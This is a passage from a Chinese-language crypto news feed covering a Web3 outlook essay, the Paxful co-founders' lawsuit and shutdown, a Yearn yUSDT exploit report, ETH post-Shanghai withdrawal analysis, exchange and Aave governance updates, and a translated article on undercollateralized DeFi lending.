Research，到2030年，全球元宇宙市场规模预计将达到约16071.2亿美元，2022年至2030年将以50.74%的年复合增长率（CAGR）增长。特别是孪生经济中的虚拟经济将为制造业、旅游、医疗、交通、金融创造新的就业岗位。韩国、日本、新加坡和中国正在利用 Web2 和 Web3 元宇宙来发展经济。 随着区块链性能的提升和跨链消息协议的完善，不同区块链间由封闭走向开放，协议之间互相组合，带来了新的应用。我们看到Centrifuge和MakerDAO把现实世界的资产整合到Web3的金融系统DeFi中，为现实世界提供贷款；新加坡星展银行（DBS Bank）和 The Sandbox 建立合作关系，将在元宇宙中为客户构建新服务和开发 DBS BetterWorld，来探索元宇宙中的商机；PlatON 通过基于密码学的隐私计算技术，使数据可用而不可见，帮助人工智能模型在不侵犯数据隐私的前提下，通过区块链技术构建的数据交易市场建立合规的数据获取通道，实现数据资产的合规流通，释放数据潜能。由于Web3 应用开源、可互操、可组合的特性，我们会看到更多的开发者基于久经市场考验的老牌应用，开发出更多解决现有痛点的产品。 去中心化互联网目前有两种运营方式，一种是依靠社区捐赠，例如Web3的去中心化投票协议 Snapshot 没有推出通证进行商业化，运营支出来自社区捐赠。 另一种是与区块链协议相结合，增加激励层。例如一种点到点的分布式文件系统 IPFS 不是一个基于区块链的项目，但结合了激励层 Filecoin， 降低数据存储和使用成本。BlueSky 的 CEO Jay Graber 认为 Dweb 和Web3 非常相关，不需要分离。我们也看到已经发布的Web3捐赠协议Gitcoin通过举办捐赠活动，号召Web3社区支持不发币的公共物品。而这些公共物品也为Web3提供更好的服务。未来，社区捐赠和通证激励会同时存在，Web3 和 Dweb 相辅相成，打造一个更好的互联网。但毫无疑问的是，会有越来越多志在打造去中心化的产品选择使用通证作为激励层的Web3发展道路，让运营模式可持续发展。 Web3 不是目的，而是提供更好互联网的途径。Web3 基于去中心化网络的理念和区块链技术，旨在解决Web2 的痛点，让用户重新获得隐私和所有权，以最低成本打造可信赖的价值互联网。虽然受限于区块链性能和较高的使用门槛，目前还是小众范围使用，但其所蕴藏的发展潜力，已经被聪明的先行者发觉，争先恐后地投身于这还处在发展初期的朝阳产业。经济较活跃的国家如美国、英国、日本、新加坡、香港都在力争成为Web3的重要节点。Web3的技术和应用是去中心化元宇宙的重要组成部分，是在经济前景不明朗的局势下不可忽视的突破口，是新经济发展的引擎。忽视Web3，会错失一辆即将启动的发展快车，日后花费更大的代价也未必可弥补。金融有泡沫，技术没有泡沫。Web3 每位积极的参与者都推动 Web3 在发展道路上继续前行。开源、可组合的特性使Web3 具有无法比拟的开发条件，公开、透明、平等、自由的组织形式激发参与者的创新热情。Web3 将会以超乎大多数人预期的速度带给人们意想不到的新产品，赋予人们在互联网时代后第一次真正意义上的“资产以及数据所有权”，使我们的生活更美好！  ( 12 min )
    两位联创对薄公堂，Paxful关闭背后是“权利的游戏”
    继最大的比特币P2P交易平台LocalBitcoins在运营十年后关闭后，成立于2015年的同类型平台Paxful也于近期宣布暂停运营，除了监管压力外，两位联创的内部控制权之争或是真正原因。 本月初，Paxful首席执行官Ray Youssef宣布平台暂停运营，并称此次暂停可能是永久性的。对于关闭原因，Youssef仅表示是出于监管环境日益趋严和核心成员相继离职考虑，但无法透露有关该决定背后确切原因的更多细节。 为了客户可取回“全部入账”的资金，Paxful钱包将保持活跃状态​​，同时Youssef也表示，他首要任务是维护客户资金的安全，并为非美国用户提供了轻松迁移到其他点对点平台的选项，以确保他们能够快速安全地取回资金，建议将Exodus钱包和Muun钱包作为安全选项。 这个运营8年之久的老牌平台关闭令外界唏嘘不已。但与此同时，Paxful的另一位联创Artur Schaback却曝出平台是Youssef单方面关闭的，且自己被踢出公司。“Youssef的行动旨在巩固美国以外司法管辖区的权力，并将我和其他股东从他的计划中剔除。”此外，Schaback还表示，他对公司信息的访问权限有限，并且已经18个月没有参与日常运营。 随后，两位联创的诉讼纠纷也浮出水面。根据美国特拉华州法庭的文件显示，Schaback和Youssef于2015年共同创立了Paxful，双方就控制权提起诉讼，并对彼此提出挪用公司资金、洗钱和逃避美国对俄罗斯的制裁等多项指控。 Schaback在诉讼中指出，他与Paxful首席执行官Youssef在市场的未来和运营方面存在分歧，包括“向未披露实体不断增加支出的合法性”方面的冲突。Paxful将大量比特币转移至名为“EMiR”的土耳其实体，他声称这不是一家合法的软件公司，“它没有宣传软件或网络开发服务的网站，也没有物理地址……似乎属于一家服装公司。”Dekslektika是Paxful前董事拥有的一家位于俄罗斯圣彼得堡的公司，据称是接受EMiR付款的分包商，且由两个与Paxful无关的人经营。这些实体被指控在Schaback被冻结在公司业务之外后开始“大规模非正常交易”。 对此，Youssef表示，Paxful早已停止为新的俄罗斯用户提供服务，并从俄罗斯、白俄罗斯和所有独联体（独立国家联合体）国家撤资。Schaback的这些指控围绕着向一家为Paxful工作的土耳其工程公司支付工资，Schaback拒绝支付这些工资导致整个80名工程师团队停止工作。而Schaback本人也承认这是一个严重错误，并授权在董事会会议上向这些工程师支付欠薪。不过，Youssef指出，在他的团队即将辞职的情况下，Youssef表示不可能将Schaback留在Paxful。 为了避免因未遵守法院关于归还Paxful被冻结资金导致的牢狱风险，Youssef表示正在与法院制定一项计划，用自有资金补偿用户，以努力遵守法律并避免陷入更深层次的法律问题，他始终将用户资金放在第一位。 “我知道，如果我不自掏腰包，那么这些用户将陷入困境，永远无法恢复全部资金，这就是我冒此风险的原因，必须将用户列表分为‘好’和‘坏’的钱包，因为我不能把钱捐给恐怖分子或洗钱者，请耐心等待。” 对于Paxful的停运，Youssef表示其于15个月前就开始计划了，Schaback的诉讼是决定关闭的一个直接促成因素。“由于本平台的共同创办人（Schaback）决定起诉公司和他自己，诉讼很糟糕，把本平台最好的用户都吓跑了，所有的首席职员都辞职，公司没有营运人员了。” 不过，Schaback表示Paxful仍然是一家有生存能力的企业，并希望法院指定一名托管人来控制Paxful的资产。对此，Schaback和Youssef曾向CoinDesk证实，已在不久前的听证会上任命了一名托管人。 值得一提的是，Youssef已计划推出名为Civilization Kit(Civ Kit)的新平台。Youssef表示，Civ Kit是建立在Jack Dorsey支持的去中心化社交协议Nostr上的去中心化的点对点比特币交易应用程序，并将在一两周内发布Civ Kit白皮书。 Youssef出生于埃及，幼时移民到美国并定居在纽约市。Youssef是一名自学成才的程序员，19岁在得到人生第一台电脑后开始自学编码，还曾短暂担任过职业综合格斗选手。 在创业过程中，Youssef偶然发现了比特币。虽然最初持谨慎态度，但Youssef在深入了解并在参与人生第一个比特币聚会后对其有了好感。与此同时，2011年的“占领华尔街”抗议活动给了Youssef很大感触，让他看到了金融的不平等性。 Artur Schaback（左）和Ray Youssef（右） 2014年，Youssef在纽约的比特币活动中认识了爱沙尼亚人Schaback，两人共同推出了比特币支付服务EasyBitz，但以失败告终。2015年，Youssef和和Schaback联手创建了Paxful，旨在为这些被遗忘的无银行用户、银行服务不发达的地区用户赋能。其中，Youssef负责Paxful的业务运营、营销、设计、支持和技术系统管理的开发，并为Paxful的系统编写了部分代码；Schaback则担任Paxful的首席运营官，编写了大部分Paxful代码。 发展至今，Paxful已成为全球最大的点对点比特币市场之一，拥有超900万名用户，每周交易量曾在2022年5月达到约5000万美元的峰值。去年，Paxful被《时代》杂志列为2022年最具影响力的公司之一。 然而，在Paxful飞速成长过程中，Schaback和Youssef出现了冲突。根据Coindesk报道，Youssef透露称，Schaback于一年多前因几件事被合法解雇，即无能和不良行为，且他拒绝参与内部调查。“公司的每个人都很清楚，Schaback根本不了解COO应该做什么。” Youssef在接受Coindesk采访时表示，“金钱改变了Schaback，他过着奢侈的生活方式并开始炫耀，这与公司的使命不一致。一群马屁精开始围在他身边，被他每晚的酒类服务派对和消费所吸引。”Paxful前员工也证实了Youssef的说法，声称在Schaback任职期间经常奢侈消费，如2018年，Paxful将整个公司员工带到了比利时的一家五星级酒店进行了一周度假，并参加了欧洲最大的电子舞曲音乐节。 与此同时，Youssef还在提交的法庭文件中透露，2020年底，Schaback聘请了审计师与顶级工程师合作。但这些所谓的审计师只不过是Schaback的朋友，并没有任何资格，也不可能为公司带来任何价值，他们自己也曾承认只是到Paxful赚点钱。 Schaback一系列不当行为使得Paxful聘请外部律师对其行为进行内部调查。根据公司政策，在此期间Schaback对办公室和系统的访问权限被暂停，但Schaback本人却拒绝配合调查。 对此，Schaback予以否认，他表示这是场骗局，他于2021年休假期间被禁止参与该公司的运营，并被切断他获取公司资源和信息的途径，同时Youssef和其他同伙“耗尽、挪用和公然窃取 Paxful的资源和利润”。 同时，Schaback表示他的停职是非法的，因为它没有得到Paxful董事会的授权，董事会需要三分之二的董事投票才能采取行动。法庭文件显示，Youssef和Schaback是董事会中仅有两名成员，每人拥有Paxful 50%的B类普通股。同时，Youssef的内部调查也没有证据表明他有不当行为，即便是被解雇，他仍继续担任着公司的高级职员和董事，但Youssef似乎试图将他从Paxful的公司故事中抹去。 Schaback还在提交的法庭文件指出，Paxful的晋升制度存在偏袒、解雇行为反复无常等，以及Youssef本人多次因涉嫌贩卖毒品和通过暗网购买违禁品被捕，且还在工作和会议中经常使用大麻等，甚至还聘请了暗网的员工。他还声称，Youssef每月向一位与他有过恋爱关系的女性支付高达3万美元的媒体咨询费用，但当Schaback要求提供与该服务相关的文件时却并未得到想有回应。 此外，Schaback还透露Youssef曾于2022年9月要求收购Paxful其他股东股份，但遭到拒绝，且Youssef还威胁他若不同意辞去职务将起诉他，从而试图“胁迫”他出售他的股份。 Youssef和Schaback之间的内部纠纷仍在继续，但Paxful“改变金融世界”的叙事似乎已迎来结局。  ( 2 min )
    前Huobi Global CEO Livio Weng加入HashKey Group担任集团首席运营官
    PANews 4月13日消息，据官网消息，HashKey Group宣布Livio Weng加入HashKey Group担任集团首席运营官（Group Chief Operating Officer）。Livio Weng曾于 2018年至2021年期间担任Huobi Global的首席执行官。 据悉，HashKey Group旗下拥有目前香港仅有的两家持香港证监会运营虚拟资产交易平台牌照。  ( 2 min )
    Yearn攻击事件源于yUSDT配置错误，Aave正评估此事件是否对V1造成影响
    PANews 4月13日消息，针对Yearn Finance闪电贷攻击事件，Aave表示：“我们知道这笔交易，它没有对Aave V2和Aave V3产生影响。我们现在正在确认是否对Aave V1有任何影响，该协议的最旧版本已被冻结。我们正在密切监视情况，以确保没有进一步的担忧。” 此外，安全公司派盾发推文称，此次攻击事件根本原因是由于yUSDT配置错误，与Aave 1无关，Yearn Finance的yUSDT被利用从一个1万美元的小额USDT铸造出巨额yUSDT(1,252,660,242,212,927.5枚)，然后通过兑换其他稳定币来兑现巨额yUSDT。 此前今日早些时候消息，Yearn Finance项目疑似遭受攻击，黑客获利超1000万美元。  ( 1 min )
    上海升级后以太坊抛压分析：最多占日交易量的3.4%，并持续5天
    作者：DeFi Cheetah, 加密分析师 编译：Felix, PANews TLDR： 最坏情况：假设所有验证者都选择部分提取，并一次性卖出所有ETH奖励（自2020年以来的累积）。卖出压力约为ETH日交易量的3.4%，并持续5天。 有2种ETH提取方式: 尽管完全提取，但有一个提取队列（目前最多约等534天）来维持ETH价格稳定。 每个epoch只允许8个验证者退出(1 epoch=32个区块=6.4分钟)，每天只能退出1800个验证者（5.76万枚ETH），按当前价格（1,920美元）计算，价值约1.106亿美元。 退出队列基于活跃验证者数量（目前约56.3万）: 在网络中有327,680个活跃验证者之前，每个epoch可以激活4个验证者。对于327,680之后的每65,536个（4 * 16384）活跃验证者，验证者激活率上升1。 每个epoch激活5个验证者，至少需要327,680个活跃验证者，等于每天最多退出1125个验证者。 每个epoch激活6个验证者，至少需要393,216个活跃验证者，等于每天最多退出1350个验证者。 … 每个epoch激活8个验证者，至少需要524,288个活跃验证者，等于每天最多退出1800个验证者。   一旦验证者通过退出队列，他们就会等待退出期。如果验证者没有被罚没，退出期为256个epoch（约27小时）。如果验证者被罚没，退出期为8192个epoch（约36天）。 即使在退出后的同一天内出售所有的5.76万枚ETH，它们也只占ETH单日交易量（130亿美元）的0.85%，很容易被市场消化。总共有1803万枚ETH，假设每天都有100%的流出，至少需要313天才能取出所有的ETH。 考虑到验证者激活率随着验证者数量的减少而降低，每减少65536个验证者，验证者激活率下降 1。确切的说，对于约56.3万的验证者，如果所有验证者都选择完全退出，则退出排队约为534天。 对于部分提取，由于累积的质押奖励并不以复利计算，因此验证节点需要取出多余的ETH（即大于32ETH）并重新存入。节点平均余额约为34枚ETH，验证者的数量约为56.3万，只有约112.5（2*56.3）万枚ETH受部分退出约束。 由于每个区块仅处理16个验证者的部分退出（每个epoch处理512个，每天处理11.52万个），假设所有验证者都选择部分提取，自2020年以来累积的ETH质押奖励一次性抛售将需要约5天才能完成。 如果我们进一步假设所有验证者都选择部分提取后，一次性卖出所有ETH，则平均每日抛售压力最多约为23万枚ETH ，价值4.416亿美元，占ETH单日交易量的3.4%。 112.5万枚ETH可以在5天内部分提取，而1830万枚在534天内完全提取。 注意：如果ETH是质押到Lido平台上，需要等到5月初才能提取资金，因为Lido需要启动V2测试网络，并对V2完成多次安全审计。 上海升级后的下一步是什么？一些人认为以太坊的质押比率将显著上升，以与其他PoS的Layer 1保持一致，但一些人认为，如果该比率过高，对以太坊来说弊大于利，因此建议销毁MEV以降低质押APR。  ( 2 min )
    币安：用户可于4月19日起提交ETH赎回申请，起初到账时间需15天至数周
    PANews 4月13日消息，据官方公告，币安发布ETH 2.0质押提现的更新，用户可于4月19日16点起在币安的ETH 2.0质押页面，以1:1的比例将持有的BETH赎回成ETH。 币安表示，用户提交ETH赎回申请后，该申请将无法取消；起初的赎回到账时间可能需15天至数周不等。处理质押提现请求所需的时间取决于参与ETH 2.0质押用户的提现需求量以及以太坊网络。提交申请前，ETH预计赎回到账时间将提示在赎回申请页面中。  ( 1 min )
    Aave社区发起“将V3部署至zkSync Era主网”的温度检查投票
    PANews 4月13日消息，Snapshot投票页面显示，Aave社区发起“将Aave V3部署至zkSync Era主网”的温度检查投票，该提案目前支持率为97.3%，投票将于4月15日截止。 此温度检查投票为Aave治理提供了在zkSync Era主网上部署Aave V3的机会，并有限部署了初始资产：USDC和ETH。若此次投票通过，则进入ARFC阶段进行进一步讨论、风险参数评估网络分析和最终确定提案。如果ARFC阶段快照成功，则将该提案作为AIP提交以进行投票和链上治理批准。  ( 1 min )
    不足额抵押贷款：DeFi借贷的下一个圣杯
    原文：The Holy Grail of DeFi Lending: Undercollateralized Loans 译者：Jack Ding｜W3.Hitchhiker 编辑：Evelyn｜W3.Hitchhiker 在席卷而来的“实际收益率”叙事下，不足额抵押的借贷收入在 DeFi 中越来越受到研究和追捧。认识到加密媒体对这一主题的现有报道非常精彩，我们 Treehouse Research 也想就几个不同的观点分享我们的想法。 在本文中，我们将首先了解什么是信用，以及它为何对经济和企业很重要。然后，研究流行的 DeFi 信贷协议，以及它们与 TradFi / CeFi 借贷相比的优缺点。我们将总结几点我们认为对 DeFi 信贷市场下一阶段增长至关重要的观点。 借贷是人类社会最古老的社会经济行为之一，可以追溯到古代美索不达米亚。古代贷款以典当商的形式开始，它们只是以被认为有价值的物品作为抵押的贷款。早期形式的信贷出现是因为资源所有者将生产材料借给劳动工人并期望偿还货物。如果借款人不还款，他的家人就有被当作奴隶的风险。 如今，信贷对企业和整个经济体都很重要，因为它允许经济单位在不稀释股权的情况下提高营运资本。这种杠杆作用导致投资、资本支出和消费增加，从而导致经济快速增长。 在 TradFi 中，信用通常可以分为有担保贷款和无担保的信用贷款。抵押贷款是一种有担保的信贷，因为贷款是由财产抵押的。信用卡是一种无担保信贷，或者可以将其视为以借款人的信誉为抵押。信贷创造意味着资产负债表扩张。例如，在典型的抵押贷款中，买家为房产的市场价值支付 10-50% 的首付款，其余部分从银行融资。房产价值与首付款之间的差额是商业银行创造的信贷。在更宏大的计划中，美联储购买美国国债，这是一种向美国联邦政府借款的行为——即美联储（中央银行）向主权国家（政府）创造的信贷。 相反，在 DeFi 中，现有的大多数借贷协议都是基于超额抵押的基础上，类似于当铺的借贷方式，不涉及创造信用。如果 Elon Musk 不得不放下价值 10 亿美元的特斯拉股票以借入 5 亿美元购买别墅，则相当于 DeFi 中的超额抵押抵押贷款——这对已经拥有 10 亿美元的人来说不是很有吸引力，因为他可以很容易地找到一家银行愿意借给他 US$10B。 传统企业有两种融资方式：债务融资和股权融资。股权融资涉及稀释所有权，创始人避免这种情况，尤其是在早期阶段，以避免失去股权上行空间。股权融资不会创造信贷，因为企业出售“自身的一部分”以换取现金。 为了在筹集营运资金的同时保持对其运营和业务决策的多数控制权，企业选择债务融资。债务融资创造信用，因为贷方提供现金或其他营运资金以换取未来本金加利息的偿还，而不是控股权。贷款人也避免承担股权风险，因为他们对借款人的资产拥有债权，而股权持有人则没有。这种形式的融资或贷款通常在企业或公司设法清除金融机构提出的所有要求后提供。 如前所述，DeFi 借贷在很大程度上仍沿用古老的典当行模式——借款人放下一些有价值的东西作为抵押品，然后取出低于或等于抵押品价值的现金。这最终是因为 DeFi 借贷协议是无需许可的，这在程序上是高效的，并且不会对任何借款人产生偏见。然而，这阻碍了在 TradFi 世界中通常在信贷发起之前进行的贷款前信用检查和了解你的客户 (KYC) 程序。由于主流的 DeFi 借贷协议无法了解借款人的真实身份并评估他们的信用风险，因此它们只能通过超额抵押来确保贷方始终保持完整。 超额抵押贷款为金融部门提供了许多交易和对冲策略。由于它们不创造信贷，因此它们在非金融业务中的用例是有限的，因为只有资产所有者才能借贷，而穷人无法提高杠杆率。即使对于资产所有者而言，也有比参与 DeFi 借贷更有效的杠杆方式。例如，拥有价值 1000 万美元加密资产的人可能能够从进行 KYC 和信用检查的 CeFi 机构借入 2000 万美元。从本质上讲，无需许可的核心 DeFi 原则阻止了 DeFi 借贷市场的增长。   目前，截至 2022 年 12 月 5 日，DeFi 借贷协议的累计TVL为 US$13.96B，过去一年的每月借贷量从 US$9.37B 到 US$32.46B 不等。尽管这一数字即使在最近的市场收缩期间也一直保持稳定，但与 TradFi 市场相比，这个货币市场的规模仍然相形见绌。 TradFi 中的信贷市场规模约为 91T 美元，规模大于 TradFi 股票市场和 DeFi 货币市场。这在很大程度上是由于资本效率低下以及缺乏评估和定价 DeFi 信用风险的手段。 将信用协议引入 DeFi 领域引起了机构借款人和贷款人的浓厚兴趣，尤其是在全球金融体系的流动性被中央银行抽走的时期。 TradFi 中的信贷市场规模约为 91T 美元，规模大于 TradFi 股票市场和 DeFi 货币市场。这在很大程度上是由于资本效率低下以及缺乏评估和定价 DeFi 信用风险的手段。 将信用协议引入 DeFi 领域引起了机构借款人和贷款人的浓厚兴趣，尤其是在全球金融体系的流动性被中央银行抽走的时期。 信用协议在 2022 年发放了总计 4.2B 美元的贷款，并且机构借款人有所增加。 此外，Celsius 等大型 CeFi 贷方的违约导致加密金融领域的整体信贷收缩，因为 CeFi 贷方的风险偏好已经降低，使加密机构获得信贷的选择更少。因此，新兴的 DeFi 信用协议可以抢占留下的市场份额真空。例如，Maple Finance在其第二季度报告中指出，贷款人的需求全年保持强劲，23% 的贷款人增加了贷款头寸，增加了对借款人资本的需求。Clearpool还报告其提供的总流动性在 2022 年 9 月达到 1.45 亿美元的峰值，环比增长 30%，而 DeFi 的总流动性下降 26.7%。DeFi 信贷发起的超额增长通常与 CeFi 信贷危机相对应。 大多数 DeFi 信用协议目前不直接发放贷款，而是通过连接借款人和贷方充当信用基础设施提供者。这些信用协议的主要收入来源与其超额抵押协议类似，即来自未偿还贷款的利息收入的一部分。一旦入驻机构开始发放贷款，这些信贷协议通常要么从这些贷款产生的利息收入中抽取一定比例，要么在贷款发放时收取少量费用。例如，Clearpool 采用资金池和贷款的模式，将收取的所有利息支付的 5% 作为协议费用。运行贷款业务设置模型的协议，类似于 Maple，当贷款是由平台上有资金池的任何机构发起时，收取 1% 的设立费。这笔费用的 67% 作为协议收入发送给 Maple DAO。 在过去的一年里，信用协议已经成功地产生了总计 1090 万美元的收入。由于使用这些协议的机构需要持续的流动性，这种收入增长一直相对稳定。 尽管更广泛的加密货币流动性收缩，但按每月借贷量计算最大的三个信用协议：Maple Finance、TrueFi和Goldfinch在过去一年中产生了相对稳定的月收入。 这些信用协议向其提供资金的两大类机构是新兴市场中的加密原生机构和企业。目前在这些协议上积极贷款的加密原生机构主要是对冲基金和交易公司。这些公司虽然与 TradFi 同行的业绩相似（如果不是），并且资产负债表健康（尽管我们在 FTX 戏剧中确实看到了意外），但无法通过银行等传统机构获得贷款。 新兴市场是另一组由这些信贷协议资助的借款人。整个 2022 年，对私人债务风险敞口的需求持续增长，随着该领域的初创企业和技术生态系统不断发展，新兴债务市场也顺应这一趋势。 新兴债务市场为投资者提供了有利的风险回报投资组合，从而产生了对此类债务工具敞口的需求。然而，投资者可能会发现难以进入新兴经济体的债务市场。因此，为了解决这个问题，某些信用协议通过连接潜在的贷方和借款人来提供访问和收益。目前为新兴市场借款人提供服务的协议 Goldfinch 指出，为了尽量减少向仍处于增长阶段的行业提供信贷的风险和不确定性，他们只向历史稳定的成熟信贷基金和金融科技组织提供贷款财务绩效。此外，确保借款人达到令人满意的标准对 Goldfinch 和Credix，因为自成立以来总违约率一直为 0%。 目前为这些协议提供信贷的过程相对相似，在协议机制和贷款管理方面存在一些细微差别。 协议级别 信用协议通常充当基础设施层，提供贷款发放前所需的必要风险评估和信用评分专业知识，以及制定利率机制等协议级决策。尽管与其他 DeFi 货币市场相比，此类信用风险评估决策可能使这些协议的某些方面更加中心化，但它们对于确保平台上借款人的质量符合某些标准以将信用风险降至最低至关重要。协议要么拥有具有多年信用经验的团队，要么使用像Credora这样的集中式信用评级供应商来评估每个潜在借款人的财务状况。 协议通常还负责为其贷款池设置利率，这些利率可以是动态的，也可以具有固定的默认水平。固定利率协议的示例包括 Maple Finance 和 TrueFi，因为其借贷池的贷款条款通常由借款人和运行池的一方在链下决定。动态利率通常使用将资金池利用率考虑在内的算法来确定适当的利率。这种方法被用于像dAMM这样的协议中。 如何借？ 大多数信贷协议中借款人的流程相对标准化，他们必须完成协议规定的 KYC 和反洗钱 (AML) 程序，并在开设贷款池之前对其财务状况进行分析。借款人在完成必要的程序后，可以开设一个通常类似于循环信贷额度的借贷池，在借贷池中可以借入不超过一定数量的资金，并可以随时借贷。因为有足够的可用资金。这些流程适用于大多数允许机构建立自己的资金池并直接从中借款的协议，例如 dAMM 和 Clearpool。 然而，对于使用允许机构设立信贷设施的商业模式的协议，借款人通常必须在设立过程中通过额外的第三方。这个额外的一方扮演池经理的角色，直接与借款人互动，并与他们协商信贷条款。这些矿池管理者通常必须在矿池由他们设置时通过协议通过 KYC 检查。成为池经理类似于经营信贷业务，借款人必须与他们互动才能获得贷款。一旦这些贷款得到管理者的批准，借款人也可以开始从这些资金池中借款。遵循这种结构的协议包括 Maple Finance 和 TrueFi 的资本市场，其中每个池都由一个机构运营，该机构汇集资金并自行批准每个借款人。 利息支付 对于大多数协议，利息会在每个时期自动复利，借款人可以灵活地选择在他们认为合适的时候偿还贷款。然而，有一些协议，如 TrueFi，只需要在贷款期限结束时偿还利息，这使得借款人在还款日期到来之前没有义务支付利息。 如何借出？ 目前，大多数信用协议都运行无许可池，这意味着贷方可以选择将资金存入他们选择的任何池中。只要用户有一个兼容的 Web3 钱包和要存入的资产池，他们就可以向他们选择的贷方提供资金以开始赚取利息。然而，对于某些协议和许可池，贷方需要先完成 KYC / AML 流程，然后才能将资金存入这些池。目前，要求贷方在能够存入资金之前完成 KYC 的三种协议是 Goldfinch、Centrifuge 和 Credix。 香草借贷池 当前的大多数协议都采用一种模型，在这种模型中，贷方只需选择他们希望将资金借给的机构，并将资金存入相应的资金池。这类似于在 AAVE 上提供资金，只是借款人是经过 KYC 流程并通过信用协议加入的机构。 分层贷款池 有几种协议将他们的贷款池分成不同的部分，使贷方能够选择他们愿意承担的风险量以获得利息收益。Centrifuge 是协议的一个例子，它以代表初级或高级贷款的不同代币的形式提供分段贷款。选择将资金借给初级部分的贷方通常会获得更高的收益率，因为他们会在发生任何违约的情况下提供第一损失资本。另一方面，高级部分的贷款人获得较低的收益率，但由于初级部分的流动性，他们免于违约。 利息支付 对于大多数协议，一旦贷方存入资金，他就无法提取资金，直到贷款期限结束或资金池中有足够的资金。这可能意味着所提供的资金在贷款期限内流动性不足。如果贷方将资金存入池中，此时其资金已被完全使用，则贷方将无法提取资金，直到下一次偿还利息或贷款完全偿还为止。 DeFi 信贷协议似乎只是传统银行或贷款机构的链上迭代，因为与超额抵押的对手相比，它们具有中心化的性质。然而，DeFi 信用协议在贷款的整个过程和生命周期中都具有优势，这是 TradFi 无法复制的。 在 TradFi 中，一个人可以获得的信用额度取决于通常称为“5C 信用”的框架。该框架在决定向希望获得信贷的一方提供多少信贷方面起着重要作用。这也称为请求信用的一方的信用度。 通常会同时评估这些 5C，以准确了解潜在借款人当前的财务状况。例如，如果中小企业希望从银行获得贷款以资助购买机器，它们将由 5C 进行评估。然而，获得贷款的过程并不像在 AAVE 上获得贷款那样在 MetaMask 中批准钱包交易那么简单，相反，它需要多方和个人的参与才能完成该过程的每个步骤。 因此，获得 TradFi 贷款不仅昂贵，而且耗时。数据显示，平均一周内只有大约 7% 的 TradFi 贷款得到处理，多方参与会导致贷款成本激增。此外，在与借款人有现有关系的金融机构申请新的信贷额度可能仍需要再次通过整个 5C 审查周期。所有这些流程的运营成本很可能会在最终的贷款定价中由借款人承担，因为 TradFi 贷款（至少是合法贷款）被老牌金融机构高度垄断。因此，总计的成本很可能由借款人在总贷款定价中承担。 当前的 DeFi 信贷模型简化了 Tradfi 陈旧流程的低效率，该模型为借款人提供了操作灵活性，可以在初始借款人申请获得批准后全天候 24/7 借款和偿还。 Clearpool 的贷款发放流程就是一个例子。对于 Clearpool，借款人仅通过两个中介机构——协议本身和 Credora。此外，与 TradFi 机构相比，批准和发起贷款请求所需的步骤和流程数量大大减少。中间人被淘汰，因此借款人可以从 DeFi 抵押贷款协议中获得有竞争力的利率。TradFi 借款中涉及的繁琐技术细节，例如等待贷款提款记入借款人账户，或将借入的流动性转移到目的地账户，可以被区块链技术有效地取代。 DeFi 信贷协议虽然并不完美，但让以前被认为“服务不足”和 / 或被合法的 TradFi / CeFi 贷方定价的借款人更容易获得贷款（当然，高利贷者不在本文的上下文范围内）。例如，在 3AC 惨败之后，有抱负的加密货币做市商可能会发现很难通过从 CeFi 贷方借款来提高杠杆率，而且他们肯定没有希望通过与 TradFi 投资银行的回购交易来扩大资产负债表。许多加密金融机构也存在类似的障碍，而 DeFi 信贷为引入新的风险资本家 (VC) 资本提供了一种廉价且非稀释性的替代方案。在非金融领域，DeFi 信贷也填补了新兴市场（拉丁美洲、非洲和新兴亚洲）企业的空白。 新兴市场的企业面临着显着的融资缺口，因为许多企业服务不足，每年缺乏大约 5 亿美元的投资。一些信用协议试图填补这一空白，其中之一是 Goldfinch，它专门将贷方资本与发展中国家的借款人联系起来，在这些国家获得 TradFi 信贷既昂贵又不方便。虽然 Goldfinch 上仍然对借款人进行 5C 信用尽职调查，但信用风险评估至少是通过去中心化共识（利益相关者之间）而不是企业垄断来进行的。 尽管 DeFi 信用协议目前仅服务于一个小众市场，但有几种途径可以实现更大规模的采用。一个可理解的轨迹是 DeFi 和 TradFi 中用户和实体之间信用评分/评级的相互承认，这将允许一方面有信用记录的借款人获得另一方面的信贷。这不仅有利于机构借款人，也有利于零售借款人，并有可能使链上信用卡成为现实。然而，为了 KYC 和合规目的，相互承认信用评分可能会要求借款人透露他们的真实身份。这可能会破坏去中心化最大化。 DeFi 信用协议的发展为 TradFi 和 CeFi 信用市场中的几个问题提供了有希望的治疗方法。 最重要的是，DeFi 借贷是在链上进行的，并且可以接受审查，从而平衡了贷方之间的信息访问。与 TradFi 相比，在某些情况下，对借款人有私人信用敞口的贷方比只有公共债务敞口的贷方更早了解到即将发生的违约。私人信贷贷方在更快地获取信息方面具有不公平的优势，并可能以牺牲公共信贷贷方为代价来减少他们的风险敞口。尽管有内幕交易法，但此类案件很难在法庭上证明，因此，没有信息优势的贷方将蒙受损失。如果一个机构通过 DeFi 进行所有贷款，透明度将防止上述信息差距，并为所有贷方带来公平和真实的平等地位。 像 Clearpool 这样的协议通过使用 Credora 提供实时信用评分，其中可以随时获得有关借款人及其各自贷款池的信息。他们还为用户提供有关贷款规模和还款历史的信息，以及交易哈希值，如果贷方希望跟踪每个借款人的资金流向。尽管抵押品大小等信用条款对用户不可见，但与向 CeFi 机构借贷相比，仍具有更高级别的信息访问权限。 诚然，在这个阶段，许多列入白名单的 DeFi 借款人并不仅仅在链上借款，这给 CeFi 贷方留下了潜在的信息优势。然而，正如我们在 2022 年 5 月至 2022 年 7 月的 CeFi 信用危机期间观察到的那样，公开审查的链上借贷通常会首先偿还（部分是为了释放资产抵押品，但也出于监管压力）。 DeFi信用尽职调查中的共识机制也有助于减少欺诈。金融机构传统的贷款审批流程通常依赖少数决策者，这在预防欺诈方面存在集中和关键人员风险。_Netflix 的粉丝可能还记得真实故事改编的电视剧《发明安娜》_中的女主角安娜德尔维或安娜索罗金，她伪造了自己的身份，并设法诱骗银行延长对虚假印象和伪造文件的信贷额度。很难想象她在 DeFi 借贷的背景下取得这样的成就，在 DeFi 借贷中，KYC 由一群协议利益相关者（例如代币利益相关者）进行。 在下表中，我们使用各种定性和定量指标比较了 DeFi 中当前和著名的信用协议。 尽管取得了成就，但流行的 DeFi 信用协议仍面临一些限制，这些限制在不同程度上阻碍了进一步采用。 这个缺点绝不仅限于 DeFi 信用协议。大多数 DeFi 货币市场以零期限方式运作，因为由于智能合约风险，投资者在很大程度上仍坚持流动性投资。根据协议的不同，DeFi 信用池的结构可以是循环信贷设施，借款人可以按灵活的时间表提取和偿还，也可以是期限少于六个月的短期固定期限信贷额度。唯一的例外是 Goldfinch，它允许企业获得三年期借款安排。 目前，由于大多数 DeFi 